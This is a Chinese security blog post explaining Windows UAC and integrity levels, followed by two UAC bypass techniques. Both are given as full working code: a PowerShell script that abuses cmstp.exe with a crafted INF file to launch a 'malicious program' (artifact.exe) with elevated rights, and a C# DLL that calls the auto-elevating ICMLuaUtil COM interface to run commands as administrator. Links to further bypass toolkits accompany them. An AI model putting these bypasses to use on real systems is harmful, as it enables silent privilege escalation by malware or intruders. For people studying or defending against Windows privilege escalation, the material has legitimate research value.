UAC学习之路

作者: Crlt_TT豆
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 什么是uac?

UAC 用于允许管理员用户不对每个执行的进程授予管理员权限这是作为管理员UAC提升执行,如果成功完成,特权令牌用于创建进程。

这里为了区分低权限高权限的进程,微软使用了强制性完整性控制MIC

MIC介绍

查看自己当前的完整性级别

whoami /groups

在这里插入图片描述
接下来我们以该级别创建一个文件

在这里插入图片描述
现在我们以管理员cmd给予test.txt最高的系统权限

在这里插入图片描述
可以看见我们对该文件是有FULL权限的,但是由于mic完整性校验控制
在这里插入图片描述
我们当前是中 level 所以 对高level的不能完全控制

也就是这里说的

Therefore, when a file has a minimum integrity level, in order to modify it you need to be running at least in that integrity level.

那我们如果将cmd.exe 的完整性校验改为高 他会自动以高权限运行吗

如下
在这里插入图片描述
在这里插入图片描述
这里我们就很明白了

Not all files and folders have a minimum integrity level, but all processes are running under an integrity level. And similar to what happened with the file-system, if a process wants to write inside another process it must have at least the same integrity level. This means that a process with low integrity level can’t open a handle with full access to a process with medium integrity level.

并非所有文件和文件夹都具有最低完整性级别,但所有进程都在完整性级别下运行。与文件系统发生的情况类似,如果一个进程想要在另一个进程内部写入,它必须至少具有相同的完整性级别。这意味着具有低完整性级别的进程无法打开对具有中等完整性级别的进程具有完全访问权限的句柄。

check list UAC

我们通过此条注册表查询UAC的情况
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
这里 EnableLUA 1为开启UAC 0为关闭UAC、

在这里插入图片描述
此外还需要注意此项

ConsentPromptBehaviorAdmin

我们一般遇到2和5
在这里插入图片描述
此外还需要注意
FilterAdministratorToken(这里解决了一直只知道uac不能普通管理员不能远程ipc执行命令 只有administrator可以的问题)
在这里插入图片描述

UAC-绕过手段

1、白名单机制bypassUAC这里有很多具体参考uacme这里我拿cmstp举例

参考代码

https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1https:/gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

这里把16行改为我们恶意程序

# UAC Bypass poc using SendKeys
# Version 1.0
# Author: Oddvar Moe
# Functions borrowed from: https://powershell.org/forums/topic/sendkeys/
# Todo: Hide window on screen for stealth
# Todo: Make script edit the INF file for command to inject...


Function script:Set-INFFile {
[CmdletBinding()]
Param (
[Parameter(HelpMessage="Specify the INF file location")]
$InfFileLocation = "$env:temp\CMSTP.inf",

[Parameter(HelpMessage="Specify the command to launch in a UAC-privileged window")]
[String]$CommandToExecute = 'C:\Users\xxx\Desktop\uactest\artifact.exe'
)

$InfContent = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
$CommandToExecute
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

[Strings]
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"

"@

$InfContent | Out-File $InfFileLocation -Encoding ASCII
}


Function Get-Hwnd
{
[CmdletBinding()]
   
Param
(
  [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $ProcessName
)
Process
  {
      $ErrorActionPreference = 'Stop'
      Try
      {
          $hwnd = Get-Process -Name $ProcessName | Select-Object -ExpandProperty MainWindowHandle
      }
      Catch
      {
          $hwnd = $null
      }
      $hash = @{
      ProcessName = $ProcessName
      Hwnd       = $hwnd
      }
       
  New-Object -TypeName PsObject -Property $hash
  }
}

function Set-WindowActive
{
[CmdletBinding()]

Param
(
  [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [string] $Name
)
 
Process
{
  $memberDefinition = @'
  [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

'@

  Add-Type -MemberDefinition $memberDefinition -Name Api -Namespace User32
  $hwnd = Get-Hwnd -ProcessName $Name | Select-Object -ExpandProperty Hwnd
  If ($hwnd)
  {
    $onTop = New-Object -TypeName System.IntPtr -ArgumentList (0)
    [User32.Api]::SetForegroundWindow($hwnd)
    [User32.Api]::ShowWindow($hwnd, 5)
  }
  Else
  {
    [string] $hwnd = 'N/A'
  }

  $hash = @{
    Process = $Name
    Hwnd   = $hwnd
  }
       
  New-Object -TypeName PsObject -Property $hash
}
}

. Set-INFFile
#Needs Windows forms
add-type -AssemblyName System.Windows.Forms
If (Test-Path $InfFileLocation) {
#Command to run
$ps = new-object system.diagnostics.processstartinfo "c:\windows\system32\cmstp.exe"
$ps.Arguments = "/au $InfFileLocation"
$ps.UseShellExecute = $false

#Start it
[system.diagnostics.process]::Start($ps)

do
{
# Do nothing until cmstp is an active window
}
until ((Set-WindowActive cmstp).Hwnd -ne 0)


#Activate window
Set-WindowActive cmstp

#Send the Enter key
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")
}

然后运行

powershell -ExecutionPolicy bypass C:\Users\whoam\Desktop\uactest\usctest.ps1powershell C:\Users\whoam\Desktop\uactest\usctest.ps1
在这里插入图片描述
2、利用com组件提权

这里以ICMLuaUtil为例子

主要原理是

该方法原理在于调用COM组件中自动提权并且可以执行命令的接口。

using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace UAC_comICM
{
  public class Class1
  {
      internal enum HRESULT : long
      {
          S_FALSE = 0x0001,
          S_OK = 0x0000,
          E_INVALIDARG = 0x80070057,
          E_OUTOFMEMORY = 0x8007000E
      }

      [StructLayout(LayoutKind.Sequential)]
      internal struct BIND_OPTS3
      {
          internal uint cbStruct;
          internal uint grfFlags;
          internal uint grfMode;
          internal uint dwTickCountDeadline;
          internal uint dwTrackFlags;
          internal uint dwClassContext;
          internal uint locale;
          object pServerInfo; // will be passing null, so type doesn't matter
          internal IntPtr hwnd;
      }

      [Flags]
      internal enum CLSCTX
      {
          CLSCTX_INPROC_SERVER = 0x1,
          CLSCTX_INPROC_HANDLER = 0x2,
          CLSCTX_LOCAL_SERVER = 0x4,
          CLSCTX_REMOTE_SERVER = 0x10,
          CLSCTX_NO_CODE_DOWNLOAD = 0x400,
          CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
          CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
          CLSCTX_NO_FAILURE_LOG = 0x4000,
          CLSCTX_DISABLE_AAA = 0x8000,
          CLSCTX_ENABLE_AAA = 0x10000,
          CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
          CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
          CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
          CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
      }

      const ulong SEE_MASK_DEFAULT = 0x0;
      const ulong SW_SHOW = 0x5;

      [DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
      [return: MarshalAs(UnmanagedType.Interface)]
      internal static extern object CoGetObject(
        string pszName,
        [In] ref BIND_OPTS3 pBindOptions,
        [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);

      [DllExport]
      public static void BypassUAC()
      {
          Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
          // Interface ID
          Guid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

          ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;
          icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:\windows\system32\", SEE_MASK_DEFAULT, SW_SHOW);
          Marshal.ReleaseComObject(icm);
      }

      public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
      {
          string CLSID = Clsid.ToString("B");
          string monikerName = "Elevation:Administrator!new:" + CLSID;

          BIND_OPTS3 bo = new BIND_OPTS3();
          bo.cbStruct = (uint)Marshal.SizeOf(bo);
          bo.hwnd = IntPtr.Zero;
          bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;

          object retVal = CoGetObject(monikerName, ref bo, InterfaceID);

          return (retVal);
      }

      [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
      interface ICMLuaUtil
      {
          //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
          //void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);
          //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
          //void AddRef();
          //[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
          //void Release();
          void Method1();
          void Method2();
          void Method3();
          void Method4();
          void Method5();
          void Method6();
          HRESULT ShellExec(
              [In, MarshalAs(UnmanagedType.LPWStr)] string file,
              [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
              [In, MarshalAs(UnmanagedType.LPWStr)] string directory,
              [In] ulong fMask,
              [In] ulong nShow);

           
      }
  }
}

这里由于必须使用rundll32.exe去拉取,不然会是系统不信任的进程 所以启动格式为rundll32.exe dll uac

修改PEB结构,欺骗PSAPI,调用COM组件ICMLuaUtil.shellexec去执行

参考如下https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_csharp/PEBMasq.cshttps://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/https://3gstudent.github.io/%E9%80%9A%E8%BF%87COM%E7%BB%84%E4%BB%B6IFileOperation%E8%B6%8A%E6%9D%83%E5%A4%8D%E5%88%B6%E6%96%87%E4%BB%B6

好处就是不用调用rundll32.exe这种可信的文件这里提供快速查找本机可利用com的手法https://github.com/hfiref0x/UACME/tree/1e884d142a8063fc8e354191a8a5a86c57cb6854/Source/Yuubari
在这里插入图片描述
这里使用之前提到的cmstplua进行搜索3e5fc7f9-9a51-4367-9063-a120244fbec7可以看到Autoelevated COM objects 组件CMSTPLUA的信息。通过这种方式,我们可以把当前系统所有支持auto-elevate的COM组件以及应用全部都列出来

参考
https://cloud.tencent.com/developer/article/1623517
https://github.com/0xlane/BypassUAC/blob/master/BypassUAC_Dll_csharp/dllmain.cs
https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/

0x02 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灼剑(Tsojan)安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值